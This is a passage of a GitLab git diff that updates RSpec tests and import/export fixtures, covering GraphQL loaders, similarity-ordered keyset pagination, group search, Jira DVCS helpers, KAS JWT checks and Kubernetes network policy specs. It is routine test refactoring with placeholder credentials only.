@@ -34,12 +51,12 @@ RSpec.describe Gitlab::Graphql::Loaders::IssuableLoader do
describe '#batching_find_all' do
context 'the finder params are anything other than [iids]' do
- let(:finder) { double(:finder, params: params, execute: [:foo]) }
+ let(:finder) { issuable_finder(params: params, result: [:foo]) }
let(:parent) { build_stubbed(:project) }
it 'batching_find_alls the finder, setting the correct parent parameter' do
expect(subject.batching_find_all).to eq([:foo])
- expect(params[:project_id]).to eq(parent)
+ expect(finder_params[:project_id]).to eq(parent)
end
it 'allows a post-process block' do
@@ -48,23 +65,6 @@ RSpec.describe Gitlab::Graphql::Loaders::IssuableLoader do
end
context 'the finder params are exactly [iids]' do
- # Dumb finder class, that only implements what we need, and has
- # predictable query counts.
- let(:finder_class) do
- Class.new do
- attr_reader :current_user, :params
-
- def initialize(user, args)
- @current_user = user
- @params = HashWithIndifferentAccess.new(args.to_h)
- end
-
- def execute
- params[:project_id].issues.where(iid: params[:iids])
- end
- end
- end
-
it 'batches requests' do
issue_a = create(:issue)
issue_b = create(:issue)
@@ -93,4 +93,13 @@ RSpec.describe Gitlab::Graphql::Loaders::IssuableLoader do
end
end
end
+
+ private
+
+ def issuable_finder(user: double(:user), params: {}, result: nil)
+ new_finder = finder_class.new(user, params)
+ allow(new_finder).to receive(:execute).and_return(result) if result
+
+ new_finder
+ end
end
diff --git a/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb b/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb
index 09d7e084172..c8f368b15fc 100644
--- a/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb
+++ b/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb
@@ -262,6 +262,22 @@ RSpec.describe Gitlab::Graphql::Pagination::Keyset::Connection do
end
end
+ context 'when ordering by similarity' do
+ let!(:project1) { create(:project, name: 'test') }
+ let!(:project2) { create(:project, name: 'testing') }
+ let!(:project3) { create(:project, name: 'tests') }
+ let!(:project4) { create(:project, name: 'testing stuff') }
+ let!(:project5) { create(:project, name: 'test') }
+
+ let(:nodes) do
+ Project.sorted_by_similarity_desc('test', include_in_select: true)
+ end
+
+ let(:descending_nodes) { nodes.to_a }
+
+ it_behaves_like 'nodes are in descending order'
+ end
+
context 'when an invalid cursor is provided' do
let(:arguments) { { before: Base64Bp.urlsafe_encode64('invalidcursor', padding: false) } }
@@ -358,15 +374,6 @@ RSpec.describe Gitlab::Graphql::Pagination::Keyset::Connection do
end
end
- context 'when before and last does not request all remaining nodes' do
- let(:arguments) { { before: encoded_cursor(project_list.last), last: 2 } }
-
- it 'has a previous and a next' do
- expect(subject.has_previous_page).to be_truthy
- expect(subject.has_next_page).to be_truthy
- end
- end
-
context 'when before and last does request all remaining nodes' do
let(:arguments) { { before: encoded_cursor(project_list[1]), last: 3 } }
diff --git a/spec/lib/gitlab/graphql/pagination/keyset/order_info_spec.rb b/spec/lib/gitlab/graphql/pagination/keyset/order_info_spec.rb
index 9f310f30253..444c10074a0 100644
--- a/spec/lib/gitlab/graphql/pagination/keyset/order_info_spec.rb
+++ b/spec/lib/gitlab/graphql/pagination/keyset/order_info_spec.rb
@@ -51,6 +51,18 @@ RSpec.describe Gitlab::Graphql::Pagination::Keyset::OrderInfo do
expect(order_list.last.operator_for(:after)).to eq '>'
end
end
+
+ context 'when ordering by SIMILARITY' do
+ let(:relation) { Project.sorted_by_similarity_desc('test', include_in_select: true) }
+
+ it 'assigns the right attribute name, named function, and direction' do
+ expect(order_list.count).to eq 2
+ expect(order_list.first.attribute_name).to eq 'similarity'
+ expect(order_list.first.named_function).to be_kind_of(Arel::Nodes::Addition)
+ expect(order_list.first.named_function.to_sql).to include 'SIMILARITY('
+ expect(order_list.first.sort_direction).to eq :desc
+ end
+ end
end
describe '#validate_ordering' do
diff --git a/spec/lib/gitlab/graphql/pagination/keyset/query_builder_spec.rb b/spec/lib/gitlab/graphql/pagination/keyset/query_builder_spec.rb
index 31c02fd43e8..c7e7db4d535 100644
--- a/spec/lib/gitlab/graphql/pagination/keyset/query_builder_spec.rb
+++ b/spec/lib/gitlab/graphql/pagination/keyset/query_builder_spec.rb
@@ -131,5 +131,42 @@ RSpec.describe Gitlab::Graphql::Pagination::Keyset::QueryBuilder do
end
end
end
+
+ context 'when sorting using SIMILARITY' do
+ let(:relation) { Project.sorted_by_similarity_desc('test', include_in_select: true) }
+ let(:arel_table) { Project.arel_table }
+ let(:decoded_cursor) { { 'similarity' => 0.5, 'id' => 100 } }
+ let(:similarity_sql) do
+ [
+ '(SIMILARITY(COALESCE("projects"."path", \'\'), \'test\') * CAST(\'1\' AS numeric))',
+ '(SIMILARITY(COALESCE("projects"."name", \'\'), \'test\') * CAST(\'0.7\' AS numeric))',
+ '(SIMILARITY(COALESCE("projects"."description", \'\'), \'test\') * CAST(\'0.2\' AS numeric))'
+ ].join(' + ')
+ end
+
+ context 'when no values are nil' do
+ context 'when :after' do
+ it 'generates the correct condition' do
+ conditions = builder.conditions.gsub(/\s+/, ' ')
+
+ expect(conditions).to include "(#{similarity_sql} < 0.5)"
+ expect(conditions).to include '"projects"."id" < 100'
+ expect(conditions).to include "OR (#{similarity_sql} IS NULL)"
+ end
+ end
+
+ context 'when :before' do
+ let(:before_or_after) { :before }
+
+ it 'generates the correct condition' do
+ conditions = builder.conditions.gsub(/\s+/, ' ')
+
+ expect(conditions).to include "(#{similarity_sql} > 0.5)"
+ expect(conditions).to include '"projects"."id" > 100'
+ expect(conditions).to include "OR ( #{similarity_sql} = 0.5"
+ end
+ end
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/group_search_results_spec.rb b/spec/lib/gitlab/group_search_results_spec.rb
index b6a3c8b5e76..045c922783a 100644
--- a/spec/lib/gitlab/group_search_results_spec.rb
+++ b/spec/lib/gitlab/group_search_results_spec.rb
@@ -3,10 +3,43 @@
require 'spec_helper'
RSpec.describe Gitlab::GroupSearchResults do
- let(:user) { create(:user) }
+ # group creation calls GroupFinder, so need to create the group
+ # before so expect(GroupsFinder) check works
+ let_it_be(:group) { create(:group) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public, group: group) }
+ let(:filters) { {} }
+ let(:limit_projects) { Project.all }
+ let(:query) { 'gob' }
+
+ subject(:results) { described_class.new(user, query, limit_projects, group: group, filters: filters) }
+
+ describe 'issues search' do
+ let_it_be(:opened_result) { create(:issue, :opened, project: project, title: 'foo opened') }
+ let_it_be(:closed_result) { create(:issue, :closed, project: project, title: 'foo closed') }
+ let(:query) { 'foo' }
+ let(:scope) { 'issues' }
+
+ include_examples 'search results filtered by state'
+ end
+
+ describe 'merge_requests search' do
+ let(:opened_result) { create(:merge_request, :opened, source_project: project, title: 'foo opened') }
+ let(:closed_result) { create(:merge_request, :closed, source_project: project, title: 'foo closed') }
+ let(:query) { 'foo' }
+ let(:scope) { 'merge_requests' }
+
+ before do
+ # we're creating those instances in before block because otherwise factory for MRs will fail on after(:build)
+ opened_result
+ closed_result
+ end
+
+ include_examples 'search results filtered by state'
+ end
describe 'user search' do
- let(:group) { create(:group) }
+ subject(:objects) { results.objects('users') }
it 'returns the users belonging to the group matching the search query' do
user1 = create(:user, username: 'gob_bluth')
@@ -17,9 +50,7 @@ RSpec.describe Gitlab::GroupSearchResults do
create(:user, username: 'gob_2018')
- result = described_class.new(user, anything, group, 'gob').objects('users')
-
- expect(result).to eq [user1]
+ is_expected.to eq [user1]
end
it 'returns the user belonging to the subgroup matching the search query' do
@@ -29,9 +60,7 @@ RSpec.describe Gitlab::GroupSearchResults do
create(:user, username: 'gob_2018')
- result = described_class.new(user, anything, group, 'gob').objects('users')
-
- expect(result).to eq [user1]
+ is_expected.to eq [user1]
end
it 'returns the user belonging to the parent group matching the search query' do
@@ -41,9 +70,7 @@ RSpec.describe Gitlab::GroupSearchResults do
create(:user, username: 'gob_2018')
- result = described_class.new(user, anything, group, 'gob').objects('users')
-
- expect(result).to eq [user1]
+ is_expected.to eq [user1]
end
it 'does not return the user belonging to the private subgroup' do
@@ -53,9 +80,7 @@ RSpec.describe Gitlab::GroupSearchResults do
create(:user, username: 'gob_2018')
- result = described_class.new(user, anything, group, 'gob').objects('users')
-
- expect(result).to eq []
+ is_expected.to be_empty
end
it 'does not return the user belonging to an unrelated group' do
@@ -63,15 +88,26 @@ RSpec.describe Gitlab::GroupSearchResults do
unrelated_group = create(:group)
create(:group_member, :developer, user: user, group: unrelated_group)
- result = described_class.new(user, anything, group, 'gob').objects('users')
+ is_expected.to be_empty
+ end
- expect(result).to eq []
+ it 'does not return the user invited to the group' do
+ user = create(:user, username: 'gob_bluth')
+ create(:group_member, :invited, :developer, user: user, group: group)
+
+ is_expected.to be_empty
end
- it 'sets include_subgroups flag by default' do
- result = described_class.new(user, anything, group, 'gob')
+ it 'calls GroupFinder during execution' do
+ expect(GroupsFinder).to receive(:new).with(user).and_call_original
- expect(result.issuable_params[:include_subgroups]).to eq(true)
+ subject
+ end
+ end
+
+ describe "#issuable_params" do
+ it 'sets include_subgroups flag by default' do
+ expect(results.issuable_params[:include_subgroups]).to eq(true)
end
end
end
diff --git a/spec/lib/gitlab/hashed_storage/migrator_spec.rb b/spec/lib/gitlab/hashed_storage/migrator_spec.rb
index 0549b3128c7..f4f15cab05a 100644
--- a/spec/lib/gitlab/hashed_storage/migrator_spec.rb
+++ b/spec/lib/gitlab/hashed_storage/migrator_spec.rb
@@ -232,4 +232,16 @@ RSpec.describe Gitlab::HashedStorage::Migrator, :redis do
expect(subject.rollback_pending?).to be_falsey
end
end
+
+ describe 'abort_rollback!' do
+ let_it_be(:project) { create(:project, :empty_repo) }
+
+ it 'removes any rollback related scheduled job' do
+ Sidekiq::Testing.disable! do
+ ::HashedStorage::RollbackerWorker.perform_async(1, 5)
+
+ expect { subject.abort_rollback! }.to change { subject.rollback_pending? }.from(true).to(false)
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/http_spec.rb b/spec/lib/gitlab/http_spec.rb
index 5c990eb3248..308f7f46251 100644
--- a/spec/lib/gitlab/http_spec.rb
+++ b/spec/lib/gitlab/http_spec.rb
@@ -157,17 +157,6 @@ RSpec.describe Gitlab::HTTP do
described_class.put('http://example.org', write_timeout: 1)
end
end
-
- context 'when default timeouts feature is disabled' do
- it 'does not apply any defaults' do
- stub_feature_flags(http_default_timeouts: false)
- expect(described_class).to receive(:httparty_perform_request).with(
- Net::HTTP::Get, 'http://example.org', open_timeout: 1
- ).and_call_original
-
- described_class.get('http://example.org', open_timeout: 1)
- end
- end
end
describe '.try_get' do
diff --git a/spec/lib/gitlab/i18n/po_linter_spec.rb b/spec/lib/gitlab/i18n/po_linter_spec.rb
index cfa39d95ebd..9165ccfb1ef 100644
--- a/spec/lib/gitlab/i18n/po_linter_spec.rb
+++ b/spec/lib/gitlab/i18n/po_linter_spec.rb
@@ -140,7 +140,7 @@ RSpec.describe Gitlab::I18n::PoLinter do
let(:po_path) { 'spec/fixtures/unescaped_chars.po' }
it 'contains an error' do
- message_id = 'You are going to transfer %{project_name_with_namespace} to another owner. Are you ABSOLUTELY sure?'
+ message_id = 'You are going to transfer %{project_name_with_namespace} to another namespace. Are you ABSOLUTELY sure?'
expected_error = 'translation contains unescaped `%`, escape it using `%%`'
expect(errors[message_id]).to include(expected_error)
diff --git a/spec/lib/gitlab/import_export/all_models.yml b/spec/lib/gitlab/import_export/all_models.yml
index 37b5d8a1021..3126d87a0d6 100644
--- a/spec/lib/gitlab/import_export/all_models.yml
+++ b/spec/lib/gitlab/import_export/all_models.yml
@@ -15,6 +15,7 @@ issues:
- resource_iteration_events
- sent_notifications
- sentry_issue
+- issuable_severity
- label_links
- labels
- last_edited_by
@@ -28,6 +29,7 @@ issues:
- merge_requests_closing_issues
- metrics
- timelogs
+- issuable_severity
- issue_assignees
- closed_by
- epic_issue
@@ -120,6 +122,7 @@ merge_requests:
- award_emoji
- author
- assignee
+- reviewers
- updated_by
- milestone
- iteration
@@ -127,6 +130,7 @@ merge_requests:
- resource_label_events
- resource_milestone_events
- resource_state_events
+- resource_iteration_events
- label_links
- labels
- last_edited_by
@@ -147,6 +151,7 @@ merge_requests:
- latest_merge_request_diff
- pipelines_for_merge_request
- merge_request_assignees
+- merge_request_reviewers
- suggestions
- diff_note_positions
- unresolved_notes
@@ -175,9 +180,12 @@ external_pull_requests:
merge_request_diff:
- merge_request
- merge_request_diff_commits
+- merge_request_diff_detail
- merge_request_diff_files
merge_request_diff_commits:
- merge_request_diff
+merge_request_diff_detail:
+- merge_request_diff
merge_request_diff_files:
- merge_request_diff
merge_request_context_commits:
@@ -291,6 +299,7 @@ protected_branches:
- merge_access_levels
- push_access_levels
- unprotect_access_levels
+- approval_project_rules
protected_tags:
- project
- create_access_levels
@@ -357,6 +366,7 @@ project:
- youtrack_service
- custom_issue_tracker_service
- bugzilla_service
+- ewm_service
- external_wiki_service
- mock_ci_service
- mock_deployment_service
@@ -409,6 +419,8 @@ project:
- project_feature
- auto_devops
- pages_domains
+- pages_metadatum
+- pages_deployments
- authorized_users
- project_authorizations
- remote_mirrors
@@ -455,7 +467,6 @@ project:
- approval_merge_request_rules
- approvers
- approver_users
-- pages_domains
- audit_events
- path_locks
- approver_groups
@@ -472,6 +483,8 @@ project:
- dast_site_profiles
- dast_scanner_profiles
- dast_sites
+- dast_site_tokens
+- dast_site_validations
- operations_feature_flags
- operations_feature_flags_client
- operations_feature_flags_user_lists
@@ -493,7 +506,6 @@ project:
- designs
- project_aliases
- external_pull_requests
-- pages_metadatum
- alerts_service
- grafana_integration
- remove_source_branch_after_merge
@@ -536,8 +548,11 @@ timelogs:
- issue
- merge_request
- user
+- note
push_event_payload:
- event
+issuable_severity:
+- issue
issue_assignees:
- issue
- assignee
@@ -613,6 +628,7 @@ boards:
- assignee
- labels
- user_preferences
+- boards_epic_user_preferences
lists:
- user
- milestone
@@ -646,6 +662,8 @@ zoom_meetings:
- issue
sentry_issue:
- issue
+issuable_severity:
+- issue
design_versions: *version
epic:
- subscriptions
@@ -673,8 +691,10 @@ epic:
- due_date_sourcing_epic
- events
- resource_label_events
+- resource_state_events
- user_mentions
- note_authors
+- boards_epic_user_preferences
epic_issue:
- epic
- issue
diff --git a/spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb b/spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb
index 5b6be0b3198..93b6f93f0ec 100644
--- a/spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb
+++ b/spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb
@@ -133,12 +133,6 @@ RSpec.describe Gitlab::ImportExport::FastHashSerializer do
expect(builds_count).to eq(1)
end
- it 'has no when YML attributes but only the DB column' do
- expect_any_instance_of(Gitlab::Ci::YamlProcessor).not_to receive(:build_attributes)
-
- subject
- end
-
it 'has pipeline commits' do
expect(subject['ci_pipelines']).not_to be_empty
end
diff --git a/spec/lib/gitlab/import_export/project/tree_saver_spec.rb b/spec/lib/gitlab/import_export/project/tree_saver_spec.rb
index a2c5848f100..ece261e0882 100644
--- a/spec/lib/gitlab/import_export/project/tree_saver_spec.rb
+++ b/spec/lib/gitlab/import_export/project/tree_saver_spec.rb
@@ -381,12 +381,6 @@ RSpec.describe Gitlab::ImportExport::Project::TreeSaver do
expect(project_tree_saver.save).to be true
end
-
- it 'has no when YML attributes but only the DB column' do
- expect_any_instance_of(Gitlab::Ci::YamlProcessor).not_to receive(:build_attributes)
-
- project_tree_saver.save
- end
end
end
diff --git a/spec/lib/gitlab/import_export/safe_model_attributes.yml b/spec/lib/gitlab/import_export/safe_model_attributes.yml
index a108bc94da5..5ca7c5b7a91 100644
--- a/spec/lib/gitlab/import_export/safe_model_attributes.yml
+++ b/spec/lib/gitlab/import_export/safe_model_attributes.yml
@@ -206,6 +206,7 @@ MergeRequest:
- head_pipeline_id
- discussion_locked
- allow_maintainer_to_push
+- merge_ref_sha
MergeRequestDiff:
- id
- state
diff --git a/spec/lib/gitlab/incident_management/pager_duty/incident_issue_description_spec.rb b/spec/lib/gitlab/incident_management/pager_duty/incident_issue_description_spec.rb
index 6dc96217f09..535cce6aa04 100644
--- a/spec/lib/gitlab/incident_management/pager_duty/incident_issue_description_spec.rb
+++ b/spec/lib/gitlab/incident_management/pager_duty/incident_issue_description_spec.rb
@@ -1,7 +1,6 @@
# frozen_string_literal: true
require 'fast_spec_helper'
-require 'timecop'
RSpec.describe Gitlab::IncidentManagement::PagerDuty::IncidentIssueDescription do
describe '#to_s' do
@@ -50,7 +49,7 @@ RSpec.describe Gitlab::IncidentManagement::PagerDuty::IncidentIssueDescription d
let(:created_at) { nil }
it 'description contains current time in UTC' do
- Timecop.freeze do
+ freeze_time do
now = Time.current.utc.strftime('%d %B %Y, %-l:%M%p (%Z)')
expect(to_s).to include(
diff --git a/spec/lib/gitlab/jira/dvcs_spec.rb b/spec/lib/gitlab/jira/dvcs_spec.rb
new file mode 100644
index 00000000000..09e777b38ea
--- /dev/null
+++ b/spec/lib/gitlab/jira/dvcs_spec.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Jira::Dvcs do
+ describe '.encode_slash' do
+ it 'replaces slash character' do
+ expect(described_class.encode_slash('a/b/c')).to eq('a@b@c')
+ end
+
+ it 'ignores path without slash' do
+ expect(described_class.encode_slash('foo')).to eq('foo')
+ end
+ end
+
+ describe '.decode_slash' do
+ it 'replaces slash character' do
+ expect(described_class.decode_slash('a@b@c')).to eq('a/b/c')
+ end
+
+ it 'ignores path without slash' do
+ expect(described_class.decode_slash('foo')).to eq('foo')
+ end
+ end
+
+ describe '.encode_project_name' do
+ let(:group) { create(:group)}
+ let(:project) { create(:project, group: group)}
+
+ context 'root group' do
+ it 'returns project path' do
+ expect(described_class.encode_project_name(project)).to eq(project.path)
+ end
+ end
+
+ context 'nested group' do
+ let(:group) { create(:group, :nested)}
+
+ it 'returns encoded project full path' do
+ expect(described_class.encode_project_name(project)).to eq(described_class.encode_slash(project.full_path))
+ end
+ end
+ end
+
+ describe '.restore_full_path' do
+ context 'project name is an encoded full path' do
+ it 'returns decoded project path' do
+ expect(described_class.restore_full_path(namespace: 'group1', project: 'group1@group2@project1')).to eq('group1/group2/project1')
+ end
+ end
+
+ context 'project name is not an encoded full path' do
+ it 'assumes project belongs to root namespace and returns full project path based on passed in namespace' do
+ expect(described_class.restore_full_path(namespace: 'group1', project: 'project1')).to eq('group1/project1')
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/jira/middleware_spec.rb b/spec/lib/gitlab/jira/middleware_spec.rb
new file mode 100644
index 00000000000..1fe22b145a6
--- /dev/null
+++ b/spec/lib/gitlab/jira/middleware_spec.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Jira::Middleware do
+ let(:app) { double(:app) }
+ let(:middleware) { described_class.new(app) }
+ let(:jira_user_agent) { 'Jira DVCS Connector Vertigo/5.0.0-D20170810T012915' }
+
+ describe '.jira_dvcs_connector?' do
+ it 'returns true when DVCS connector' do
+ expect(described_class.jira_dvcs_connector?('HTTP_USER_AGENT' => jira_user_agent)).to eq(true)
+ end
+
+ it 'returns true if user agent starts with "Jira DVCS Connector"' do
+ expect(described_class.jira_dvcs_connector?('HTTP_USER_AGENT' => 'Jira DVCS Connector')).to eq(true)
+ end
+
+ it 'returns false when not DVCS connector' do
+ expect(described_class.jira_dvcs_connector?('HTTP_USER_AGENT' => 'pokemon')).to eq(false)
+ end
+ end
+
+ describe '#call' do
+ it 'adjusts HTTP_AUTHORIZATION env when request from Jira DVCS user agent' do
+ expect(app).to receive(:call).with('HTTP_USER_AGENT' => jira_user_agent,
+ 'HTTP_AUTHORIZATION' => 'Bearer hash-123')
+
+ middleware.call('HTTP_USER_AGENT' => jira_user_agent, 'HTTP_AUTHORIZATION' => 'token hash-123')
+ end
+
+ it 'does not change HTTP_AUTHORIZATION env when request is not from Jira DVCS user agent' do
+ env = { 'HTTP_USER_AGENT' => 'Mozilla/5.0', 'HTTP_AUTHORIZATION' => 'token hash-123' }
+
+ expect(app).to receive(:call).with(env)
+
+ middleware.call(env)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/kas_spec.rb b/spec/lib/gitlab/kas_spec.rb
new file mode 100644
index 00000000000..ce22f36e9fd
--- /dev/null
+++ b/spec/lib/gitlab/kas_spec.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Kas do
+ let(:jwt_secret) { SecureRandom.random_bytes(described_class::SECRET_LENGTH) }
+
+ before do
+ allow(described_class).to receive(:secret).and_return(jwt_secret)
+ end
+
+ describe '.verify_api_request' do
+ let(:payload) { { 'iss' => described_class::JWT_ISSUER } }
+
+ it 'returns nil if fails to validate the JWT' do
+ encoded_token = JWT.encode(payload, 'wrongsecret', 'HS256')
+ headers = { described_class::INTERNAL_API_REQUEST_HEADER => encoded_token }
+
+ expect(described_class.verify_api_request(headers)).to be_nil
+ end
+
+ it 'returns the decoded JWT' do
+ encoded_token = JWT.encode(payload, described_class.secret, 'HS256')
+ headers = { described_class::INTERNAL_API_REQUEST_HEADER => encoded_token }
+
+ expect(described_class.verify_api_request(headers)).to eq([{ "iss" => described_class::JWT_ISSUER }, { "alg" => "HS256" }])
+ end
+ end
+
+ describe '.secret_path' do
+ it 'returns default gitlab config' do
+ expect(described_class.secret_path).to eq(Gitlab.config.gitlab_kas.secret_file)
+ end
+ end
+
+ describe '.ensure_secret!' do
+ context 'secret file exists' do
+ before do
+ allow(File).to receive(:exist?).with(Gitlab.config.gitlab_kas.secret_file).and_return(true)
+ end
+
+ it 'does not call write_secret' do
+ expect(described_class).not_to receive(:write_secret)
+
+ described_class.ensure_secret!
+ end
+ end
+
+ context 'secret file does not exist' do
+ before do
+ allow(File).to receive(:exist?).with(Gitlab.config.gitlab_kas.secret_file).and_return(false)
+ end
+
+ it 'calls write_secret' do
+ expect(described_class).to receive(:write_secret)
+
+ described_class.ensure_secret!
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/kubernetes/cilium_network_policy_spec.rb b/spec/lib/gitlab/kubernetes/cilium_network_policy_spec.rb
index 9600a70a95d..3f5661d4ca6 100644
--- a/spec/lib/gitlab/kubernetes/cilium_network_policy_spec.rb
+++ b/spec/lib/gitlab/kubernetes/cilium_network_policy_spec.rb
@@ -7,23 +7,27 @@ RSpec.describe Gitlab::Kubernetes::CiliumNetworkPolicy do
described_class.new(
name: name,
namespace: namespace,
- creation_timestamp: '2020-04-14T00:08:30Z',
- endpoint_selector: endpoint_selector,
+ description: description,
+ selector: selector,
ingress: ingress,
egress: egress,
- description: description
+ labels: labels,
+ resource_version: resource_version
)
end
let(:resource) do
::Kubeclient::Resource.new(
- kind: partial_class_name,
- apiVersion: "cilium.io/v2",
+ apiVersion: Gitlab::Kubernetes::CiliumNetworkPolicy::API_VERSION,
+ kind: Gitlab::Kubernetes::CiliumNetworkPolicy::KIND,
metadata: { name: name, namespace: namespace, resourceVersion: resource_version },
- spec: { endpointSelector: endpoint_selector, ingress: ingress, egress: nil }
+ spec: { endpointSelector: endpoint_selector, ingress: ingress, egress: egress },
+ description: description
)
end
+ let(:selector) { endpoint_selector }
+ let(:labels) { nil }
let(:name) { 'example-name' }
let(:namespace) { 'example-namespace' }
let(:endpoint_selector) { { matchLabels: { role: 'db' } } }
@@ -48,34 +52,14 @@ RSpec.describe Gitlab::Kubernetes::CiliumNetworkPolicy do
]
end
- include_examples 'network policy common specs' do
- let(:selector) { endpoint_selector}
- let(:policy) do
- described_class.new(
- name: name,
- namespace: namespace,
- selector: selector,
- ingress: ingress,
- labels: labels,
- resource_version: resource_version
- )
- end
-
- let(:spec) { { endpointSelector: selector, ingress: ingress, egress: nil } }
- let(:metadata) { { name: name, namespace: namespace, resourceVersion: resource_version } }
- end
-
- describe '#generate' do
- subject { policy.generate }
-
- it { is_expected.to eq(resource) }
- end
+ include_examples 'network policy common specs'
describe '.from_yaml' do
let(:manifest) do
<<~POLICY
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
+ description: example-description
metadata:
name: example-name
namespace: example-namespace
@@ -88,6 +72,9 @@ RSpec.describe Gitlab::Kubernetes::CiliumNetworkPolicy do
- fromEndpoints:
- matchLabels:
project: myproject
+ egress:
+ - ports:
+ - port: 5978
POLICY
end
@@ -167,20 +154,22 @@ RSpec.describe Gitlab::Kubernetes::CiliumNetworkPolicy do
describe '.from_resource' do
let(:resource) do
::Kubeclient::Resource.new(
+ description: description,
metadata: {
name: name, namespace: namespace, creationTimestamp: '2020-04-14T00:08:30Z',
labels: { app: 'foo' }, resourceVersion: resource_version
},
- spec: { endpointSelector: endpoint_selector, ingress: ingress, egress: nil, labels: nil, description: nil }
+ spec: { endpointSelector: endpoint_selector, ingress: ingress, egress: nil, labels: nil }
)
end
let(:generated_resource) do
::Kubeclient::Resource.new(
- kind: partial_class_name,
- apiVersion: "cilium.io/v2",
+ apiVersion: Gitlab::Kubernetes::CiliumNetworkPolicy::API_VERSION,
+ kind: Gitlab::Kubernetes::CiliumNetworkPolicy::KIND,
+ description: description,
metadata: { name: name, namespace: namespace, resourceVersion: resource_version, labels: { app: 'foo' } },
- spec: { endpointSelector: endpoint_selector, ingress: ingress, egress: nil }
+ spec: { endpointSelector: endpoint_selector, ingress: ingress }
)
end
@@ -197,7 +186,7 @@ RSpec.describe Gitlab::Kubernetes::CiliumNetworkPolicy do
context 'with resource without metadata' do
let(:resource) do
::Kubeclient::Resource.new(
- spec: { endpointSelector: endpoint_selector, ingress: ingress, egress: nil, labels: nil, description: nil }
+ spec: { endpointSelector: endpoint_selector, ingress: ingress, egress: nil, labels: nil }
)
end
@@ -214,4 +203,50 @@ RSpec.describe Gitlab::Kubernetes::CiliumNetworkPolicy do
it { is_expected.to be_nil }
end
end
+
+ describe '#resource' do
+ subject { policy.resource }
+
+ let(:resource) do
+ {
+ apiVersion: Gitlab::Kubernetes::CiliumNetworkPolicy::API_VERSION,
+ kind: Gitlab::Kubernetes::CiliumNetworkPolicy::KIND,
+ metadata: { name: name, namespace: namespace, resourceVersion: resource_version },
+ spec: { endpointSelector: endpoint_selector, ingress: ingress, egress: egress },
+ description: description
+ }
+ end
+
+ it { is_expected.to eq(resource) }
+
+ context 'with labels' do
+ let(:labels) { { app: 'foo' } }
+
+ before do
+ resource[:metadata][:labels] = { app: 'foo' }
+ end
+
+ it { is_expected.to eq(resource) }
+ end
+
+ context 'without resource_version' do
+ let(:resource_version) { nil }
+
+ before do
+ resource[:metadata].delete(:resourceVersion)
+ end
+
+ it { is_expected.to eq(resource) }
+ end
+
+ context 'with nil egress' do
+ let(:egress) { nil }
+
+ before do
+ resource[:spec].delete(:egress)
+ end
+
+ it { is_expected.to eq(resource) }
+ end
+ end
end
diff --git a/spec/lib/gitlab/kubernetes/kube_client_spec.rb b/spec/lib/gitlab/kubernetes/kube_client_spec.rb
index 8211b096d3b..90c11f29855 100644
--- a/spec/lib/gitlab/kubernetes/kube_client_spec.rb
+++ b/spec/lib/gitlab/kubernetes/kube_client_spec.rb
@@ -376,6 +376,7 @@ RSpec.describe Gitlab::Kubernetes::KubeClient do
[
:create_network_policy,
:get_network_policies,
+ :get_network_policy,
:update_network_policy,
:delete_network_policy
].each do |method|
@@ -400,6 +401,7 @@ RSpec.describe Gitlab::Kubernetes::KubeClient do
[
:create_cilium_network_policy,
:get_cilium_network_policies,
+ :get_cilium_network_policy,
:update_cilium_network_policy,
:delete_cilium_network_policy
].each do |method|
diff --git a/spec/lib/gitlab/kubernetes/network_policy_spec.rb b/spec/lib/gitlab/kubernetes/network_policy_spec.rb
index 5d1dd5dec59..d3640c61d94 100644
--- a/spec/lib/gitlab/kubernetes/network_policy_spec.rb
+++ b/spec/lib/gitlab/kubernetes/network_policy_spec.rb
@@ -7,21 +7,22 @@ RSpec.describe Gitlab::Kubernetes::NetworkPolicy do
described_class.new(
name: name,
namespace: namespace,
- creation_timestamp: '2020-04-14T00:08:30Z',
- selector: pod_selector,
- policy_types: %w(Ingress Egress),
+ selector: selector,
ingress: ingress,
- egress: egress
+ labels: labels
)
end
let(:resource) do
::Kubeclient::Resource.new(
+ kind: Gitlab::Kubernetes::NetworkPolicy::KIND,
metadata: { name: name, namespace: namespace },
spec: { podSelector: pod_selector, policyTypes: %w(Ingress), ingress: ingress, egress: nil }
)
end
+ let(:selector) { pod_selector }
+ let(:labels) { nil }
let(:name) { 'example-name' }
let(:namespace) { 'example-namespace' }
let(:pod_selector) { { matchLabels: { role: 'db' } } }
@@ -44,27 +45,7 @@ RSpec.describe Gitlab::Kubernetes::NetworkPolicy do
]
end
- include_examples 'network policy common specs' do
- let(:selector) { pod_selector }
- let(:policy) do
- described_class.new(
- name: name,
- namespace: namespace,
- selector: selector,
- ingress: ingress,
- labels: labels
- )
- end
-
- let(:spec) { { podSelector: selector, policyTypes: ["Ingress"], ingress: ingress, egress: nil } }
- let(:metadata) { { name: name, namespace: namespace } }
- end
-
- describe '#generate' do
- subject { policy.generate }
-
- it { is_expected.to eq(resource) }
- end
+ include_examples 'network policy common specs'
describe '.from_yaml' do
let(:manifest) do
@@ -180,6 +161,7 @@ RSpec.describe Gitlab::Kubernetes::NetworkPolicy do
let(:generated_resource) do
::Kubeclient::Resource.new(
+ kind: Gitlab::Kubernetes::NetworkPolicy::KIND,
metadata: { name: name, namespace: namespace, labels: { app: 'foo' } },
spec: { podSelector: pod_selector, policyTypes: %w(Ingress), ingress: ingress, egress: nil }
)
@@ -215,4 +197,31 @@ RSpec.describe Gitlab::Kubernetes::NetworkPolicy do
it { is_expected.to be_nil }
end
end
+
+ describe '#resource' do
